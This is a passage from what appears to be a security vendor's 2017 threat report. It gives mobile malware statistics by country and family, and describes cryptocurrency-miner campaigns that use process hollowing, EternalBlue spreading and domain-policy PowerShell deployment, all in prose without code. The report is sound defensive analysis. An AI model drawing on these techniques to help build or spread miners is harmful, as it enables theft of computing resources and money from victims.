10 Kenya 33.20

* We excluded those countries in which the number of users of Kaspersky Lab’s mobile security products over the reporting period was less than 25,000.
** Percentage of unique users attacked in each country relative to all users of Kaspersky Lab’s mobile security product in the country.


Iran (57.25%), which was second in our Top 10 in 2016, came first after switching places with Bangladesh. In 2017, more than half of our mobile product users in Iran encountered mobile malware. The most widespread were advertising programs of the Ewind family, as well as Trojans of the Trojan.AndroidOS.Hiddapp family.

In second-placed Bangladesh (42.76%), users were most frequently attacked by adware, as well as by Trojan.AndroidOS.Agent.gp, a malicious program capable of stealing a user’s money by making calls to premium numbers.

In every country of this rating the most popular malicious programs were those monetized primarily through advertising. Notably, the most popular mobile malware in India (36.42%), which came eighth in the rating, was AdWare.AndroidOS.Agent.n. This malware can click on web pages, primarily advertising sites, without the user’s knowledge and earning money for ‘displaying’ adverts to the user. Other popular malware in India included Trojans from the Loapi families, which also earned money by clicking on web pages.

Types of mobile malware

In 2017, we decided to include a Trojan-Clicker category in this rating due to the active development and growing popularity of these types of malicious programs. Previously it belonged to the ‘Other’ category.

Distribution of new mobile malware by type in 2016 and 2017

Most significantly, compared to the previous year, was the growth in detections of new Trojan-Ransom malware (+5.2 percentage points), which even outstripped the growth shown by RiskTool (+4.4 p.p.). To recap, RiskTool (47.7%) demonstrated the highest growth in 2016, with its share increasing by 24 p.p. during the year.

For the third year in a row, the percentage of Trojan-SMS installation packages declined, from 11% to 4.5%. As in 2016, this was the most considerable fall.

Trojan-Dropper malware, whose contribution grew throughout 2016, demonstrated a 2.8 p.p. decrease in the number of installation packages in 2017.

TOP 20 mobile malware programs

Please note that this rating of malicious programs does not include potentially dangerous or unwanted programs such as RiskTool or AdWare.

Verdict %*
1 DangerousObject.Multi.Generic 66.99%
2 Trojan.AndroidOS.Boogr.gsh 10.63%
3 Trojan.AndroidOS.Hiddad.an 4.36%
4 Trojan-Dropper.AndroidOS.Hqwar.i 3.32%
5 Backdoor.AndroidOS.Ztorg.a 2.50%
6 Backdoor.AndroidOS.Ztorg.c 2.42%
7 Trojan.AndroidOS.Sivu.c 2.35%
8 Trojan.AndroidOS.Hiddad.pac 1.83%
9 Trojan.AndroidOS.Hiddad.v 1.67%
10 Trojan-Dropper.AndroidOS.Agent.hb 1.63%
11 Trojan.AndroidOS.Ztorg.ag 1.58%
12 Trojan-Banker.AndroidOS.Svpeng.q 1.55%
13 Trojan.AndroidOS.Hiddad.ax 1.53%
14 Trojan.AndroidOS.Agent.gp 1.49%
15 Trojan.AndroidOS.Loapi.b 1.46%
16 Trojan.AndroidOS.Hiddapp.u 1.39%
17 Trojan.AndroidOS.Agent.rx 1.36%
18 Trojan.AndroidOS.Triada.dl 1.33%
19 Trojan.AndroidOS.Iop.c 1.31%
20 Trojan-Dropper.AndroidOS.Hqwar.gen 1.29%

* Percentage of users attacked by the malware in question, relative to all users of Kaspersky Lab’s mobile security product that were attacked.


As in previous years, first place was occupied by DangerousObject.Multi.Generic (66.99%), the verdict used for malicious programs that are detected using cloud technologies. These technologies are helpful when antivirus databases don’t yet include signatures or heuristics to detect a malicious program. This is basically how the very latest malware is detected.

Trojan.AndroidOS.Boogr.gsh (10.63%) came second. This verdict is given to files recognized as malicious by our system based on machine learning. In 2017, the most popular Trojans detected with this verdict were advertising Trojans and Trojan-Clickers.

Trojan.AndroidOS.Hiddad.an (4.36%) was third. It poses as a popular game or program and its main purpose is the aggressive display of adverts. Its main ‘audience’ is in Russia. Once launched, Trojan.AndroidOS.Hiddad.an downloads the application it imitates, and upon installation requests administrator rights to prevent its removal.

Occupying fourth was Trojan-Dropper.AndroidOS.Hqwar.i (3.32%), the verdict used for Trojans protected by a specific packer/obfuscator. In most cases, this name indicates representatives of the Asacub, FakeToken and Svpeng mobile banking families. Yet another verdict by which this packer is detected – Trojan-Dropper.AndroidOS.Hqwar.gen (1.29%) – was in 20th place.

Fifth and sixth were representatives of the Backdoor.AndroidOS.Ztorg family – advertising Trojans using super-user rights to install various applications and to prevent their removal. In 2016, a representative of this family climbed as high as second in our rating. It is worth noting that in 2017 the rating included 12 advertising Trojans – the same as in 2015, but less than in 2016.

Trojan-Dropper.AndroidOS.Agent.hb malware (1.63%) was 10th in the rating. This Trojan decrypts and runs another Trojan from the Loaipi family, which has a representative in fifth (Trojan.AndroidOS.Loapi.b). This is a complex modular malicious program whose functionality depends on the modules that it downloads from the attacker’s server. Our research has shown that their arsenal has modules for sending paid text messages, mining crypto currencies and clicking on sites with WAP subscriptions.

Trojan-Banker.AndroidOS.Svpeng.q, the most popular mobile banking Trojan in 2016, came 12th. Cybercriminals distributed it via the advertising network AdSense. This Trojan uses phishing windows to steal bank card data and also attacks SMS-banking systems.

In 14th place was Trojan.AndroidOS.Agent.gp, which steals money from users by making calls to premium numbers. It uses device administrator rights to prevent it from being removed.

Mobile banking Trojans

In 2017, we detected 94,368 installation packages for mobile banking Trojans, which is 1.3 times less than in the previous year.

Number of installation packages for mobile banking Trojans detected by Kaspersky Lab solutions in 2017

In 2017, mobile banking Trojans attacked 259,828 users in 164 countries.

Geography of mobile banking threats (percentage of all users attacked, 2017)

Top 10 countries attacked by mobile banker Trojans (ranked by percentage of users attacked):

Country* %**
1 Russia 2.44
2 Australia 1.14
3 Turkey 1.01
4 Uzbekistan 0.95
5 Kazakhstan 0.68
6 Tajikistan 0.59
7 Moldova 0.56
8 Ukraine 0.52
9 Latvia 0.51
10 Belarus 0.40

* We excluded those countries in which the number of users of Kaspersky Lab’s mobile security products over the reporting period was less than 25,000.
** Percentage of unique users attacked in each country relative to all users of Kaspersky Lab’s mobile security product in the country.


The top 10 countries attacked by mobile banker Trojans in 2017 saw a slight change: South Korea and China left the rating while Turkey and Latvia took their place.

As in the previous year, Russia topped the ranking, with 2.44% of users in that country encountering mobile banking Trojans in 2017. The most popular families were Asacub, Svpeng and Faketoken.

In Australia (1.14%), representatives of the Acecard and Marcher mobile banking families were the most widespread threats. In third-placed Turkey the most active families of mobile bankers were Gugi and Asacub.

In the other countries of the Top 10, the Faketoken and Svpeng mobile banking families were the most widespread. In particular, a representative of the Svpeng family – Trojan-Banker.AndroidOS.Svpeng.q – became the most popular mobile banking Trojan for the second year in a row. It was encountered by almost 20% of all users attacked by mobile bankers in 2017. The most popular mobile banking family of 2017 was Asacub. Its representatives attacked almost every third user affected by mobile bankers.

Mobile ransomware

The number of detected mobile Trojan-Ransomware installation packages continued to grow in 2017. We discovered 544,107 packages, which was double the figure for 2016, and 17 times more than in 2015.

This growth was largely due to activity by the Trojan-Ransom.AndroidOS.Congur family. By Q4, the Congur family had ceased to actively generate new installation packages, which was immediately reflected in the statistics.

Number of mobile Trojan-Ransomware installation packages detected by Kaspersky Lab (Q1 2017 – Q4 2017)

Throughout 2017, Kaspersky Lab’s security products protected 110,184 users in 161 countries from mobile ransomware.

Geography of mobile Trojan-Ransomware in 2017 (percentage of all users attacked)

Top 10 countries attacked by mobile Trojan-Ransomware (ranked by percentage of users attacked):

Country* %**
1 USA 2.01
2 Kazakhstan 1.35
3 Belgium 0.98
4 Italy 0.98
5 Korea 0.76
6 Poland 0.75
7 Canada 0.71
8 Mexico 0.70
9 Germany 0.70
10 Romania 0.55

* We excluded those countries in which the number of users of Kaspersky Lab’s mobile security products over the reporting period was less than 25,000.
** Percentage of unique users attacked in each country by mobile Trojan-Ransomware, relative to all users of Kaspersky Lab’s mobile security product in the country.


The country attacked most by ransomware in 2017 was the US, where 2% of users encountered this threat. As in the previous year, when the US came second in the ranking, the most popular Trojan ransomware were representatives of the Trojan-Ransom.AndroidOS.Svpeng family. Then, Germany was in first place, though in 2017, a decrease in activity by the Trojan-Ransom.AndroidOS.Fusob family saw it (0.70%) drop to ninth in the rating. The Fusob family still remained the most active in Germany.

In Kazakhstan (1.35%), which came second, the most frequently used ransomware programs were various modifications of the Trojan-Ransom.AndroidOS.Small family. Fifth place in the rating was occupied by South Korea (0.76%), where most users were attacked by the Trojan-Ransom.AndroidOS.Congur family. In all the other countries of the Top 10, the Fusob and Zebt families were the most active.


For the last few years, advertising Trojans have been one of the main threats facing Android users. First, they are very widespread, accounting for more than half of the entries in our ratings. Secondly, they are dangerous, with many exploiting system vulnerabilities to gain root privileges. The Trojans can then get full control of a system and, for example, install their modules in system folders to prevent their removal. In some cases, even resetting the device to factory settings is not enough to get rid of the rooting malware.

However, the vulnerabilities that allow attackers to gain super-user rights are only found on older devices, and their share is declining. As a result, advertising Trojans are increasingly confronted with devices on which they cannot gain a foothold. This means the user has the chance to get rid of this malware once it starts aggressively displaying ads or installing new applications. This is probably why we are now seeing more and more advertising Trojans that don’t show ads to the user; instead, they click on them, helping their owners earn money from advertisers. The user may not even notice this behavior because the only telltale signs of infection are increased traffic and battery use.

Trojans that target WAP billing sites use similar techniques. They receive a list of links from the C&C, follow them and ‘click’ on page elements using a JS file received from the malicious server. The main difference is that they click not only advertising links but on WAP billing sites as well, which results in the theft of money from the user’s mobile account. This type of attack has been around for several years now, but it was only in 2017 that these Trojans appeared in significant numbers, and we assume this trend will continue in 2018.

In 2017, we discovered several modular Trojans that steal money via WAP billing as one of their monetization methods. Some of them also had modules for crypto-currency mining. The rise in price of crypto currency makes mining a more profitable business, although the performance of mobile devices is not that good. Mining results in rapid battery consumption, and in some cases even device failure. We also discovered several new Trojans posing as useful applications, but which were actually mining crypto currency on an infected device. If the rise of crypto currency continues in 2018, we’ll most probably see lots of new miners.

Mining is the new black

Last year we published a story revealing the rise of miners across the globe. At the time we had discovered botnets earning millions of USD. We knew this was just the beginning of the story, which turned out to develop rapidly.

Together with the rest of the world, we have been watching the hike in cryptocurrency, for example, the price of Bitcoin and Altcoins continuously beat records throughout 2017.

Bitcoin and Altcoins prices growth in 2017

While some spend time talking about what’s good or bad for the market and the global economy, we’ve seen that such a spike in prices was definitely a call for threat actors, meaning there are good opportunities for cybercriminals to earn money.

As a result, many cybercriminal groups have switched to malicious miner distribution, and the number of users that have encountered cryptocurrency miners has increased dramatically. We have found, that by the end of 2017, 2.7 million users had been attacked by malicious miners – this is almost 1.5 times higher than in 2016 (1.87 mln).

Number of Kaspersky Lab users attacked by malicious miners in 2017

They become so active and popular that even ransomware – which has frightened the world for the last couple of years, seems to step aside for this threat.

Here are some reasons why:

Firstly, miners and ransomware both have a clear monetization model. In the case of ransomware, attackers infect PCs, decrypt files and earn money by receiving a ransom for users’ data. The miners model is similar in its simplicity: attackers infect victims, make coins using CPU or GPU power, and earn real money through legal exchanges and transactions.

Miners’ monetization scheme

Secondly, unlike ransomware, it is very hard for users to understand if they’ve been infected by miners or not. In general, users use their computer for Internet surfing. This activity is not high loaded for CPU. The other 70-80% of CPU power is used by mining programs, and some of them have special functions to reduce mining capacities or cancel the process at all, if another resource-demanding program (for example, a videogame) is executed.

Most importantly, it is now very easy to make your own miner. Those interested can get everything that they need:


  • Ready to use partner programs
  • Open mining pools
  • A lot of miner builders

We have found that the most popular miner pool used by threat actors is Nanopool.

Statistics for used legitimate pools

Also, according to our data, 80% of illegal miners contain the open source code of legal miners, or it is just a legal miner that has been packed.

Ways of spreading

Usually, threat actors collaborate with potentially unwanted application (PUA) partner programs to spread miners. However, some small criminal groups try to spread malware by using different social engineering tricks, such as fake lotteries, etc. Potential victims need to download a generator of random numbers from a file-sharing service and run this on a PC to participate. It’s a simple trick, but a very productive one.

Another popular method is web-mining through a special script being executed in browser. For example, in 2017 our security solutions stopped the launch of web miners on more than 70 million occasions. The most popular script used by cybercriminals is Coinhive, and usual cases of its use in the wild are websites with a lot of traffic. The longer the user session on those sites, the more money the site’s owner earned from mining. Major incidents involving Coinhive are hacked web pages, such as the Pirate Bay case, YouTube ads or UFC fight pass mining. However, other examples of its legal use are also known.

There are other groups, which do not need to spread miners to many people. Instead, their targets are powerful servers in big companies. Thus, for instance, Wannamine was spreading in internal networks using an EternalBlue exploit, and earned nine thousand Monero this way (approx. two million dollars). However, the first miner that used the EternalBlue exploit was Adylkuzz. In our previous research we described another miner family – Winder – that has used an extra service to restore a miner when it was being deleted by an AV product. That botnet earned a half million dollars.

Sophisticated techniques

This year we are observing the next trend – threat actors behind miners have begun to use malware techniques from targeted attacks. Our latest discovery is the “hollow” miner that uses a process-hollowing technique.

In this case the infection vector is a PUA module. A victim may have just wanted to download a legitimate application, but instead they downloaded a PUA with a miner installer inside. This miner installer drops the legitimate Windows utility msiexec with a random name, which downloads and executes a malicious module from the remote server. In the next step it installs a malicious scheduler task which drops the miner’s body. This body executes the legitimate system process and uses a process-hollowing technique (legitimate process code is changed to malicious). Also, a special flag, system critical flag, is set to this new process. If a victim tries to kill this process, the Windows system will reboot. So, it is a challenge for security solutions to deal with such malicious behavior and detect the threat properly.

Infection chain

Process hollowing example

Via this scheme, criminals have been mining Electroneum coins, and during the second half of 2017 they earned over seven million dollars.

Multipool wallet information

Also this year, we found one threat group that has been targeting big organizations with the main purpose to utilize their computer resources for mining. After getting into a corporate network they get access to the domain controller, and as a result they use domain policies to launch malicious code. In this particular case, actors executed malicious PowerShell script on each endpoint and server inside the corporate network.

Malicious powershell script

This script has the following logic:


  • After launching, it checks if this endpoint belongs to specific accounts, i.e. senior levels or information security officers. If it is true, then the script won’t execute the miner.
  • This script also checks current date and time information. It will execute the malicious miner in non-working time.

So what’s next?

Should we expect a further evolution in this class of malware? For sure. Moreover, we will see a spread in malware that uses new blockchain technologies. One of the recent and very promising technologies is the blockchain-based proof-of-space (PoSpace) concept.

Unlike proof-of-work (PoW) used in general mining botnets, a PoSpace algorithm needs a hard disk space. Therefore, a new type of miners based on this algorithm will be aiming first of all at big data servers.

On the one hand, monetization in this case is like that in usual malware miners with a PoW algorithm. On the other, this technology can provide cybercriminals with another profit. The blockchain on the PoS algorithm is a very big decentralized anonymous data center that can be used to spread malware or illegal content. As a result, it can bring more damage. Data will be encrypted and no one will know where it is physically stored.

Mining scheme based on proof-of-concept algorithm

To protect your network against such threats we advise you:


  • Conduct a security audit on a regular basis
  • Use security solutions on endpoints and servers

Kaspersky Lab products detect such threats with various verdicts.


  • PDM:Trojan.Win32.Generic
  • not-a-virus:RiskTool.Win32.BitCoinMiner
  • HEUR:Trojan.Win32.CoinMiner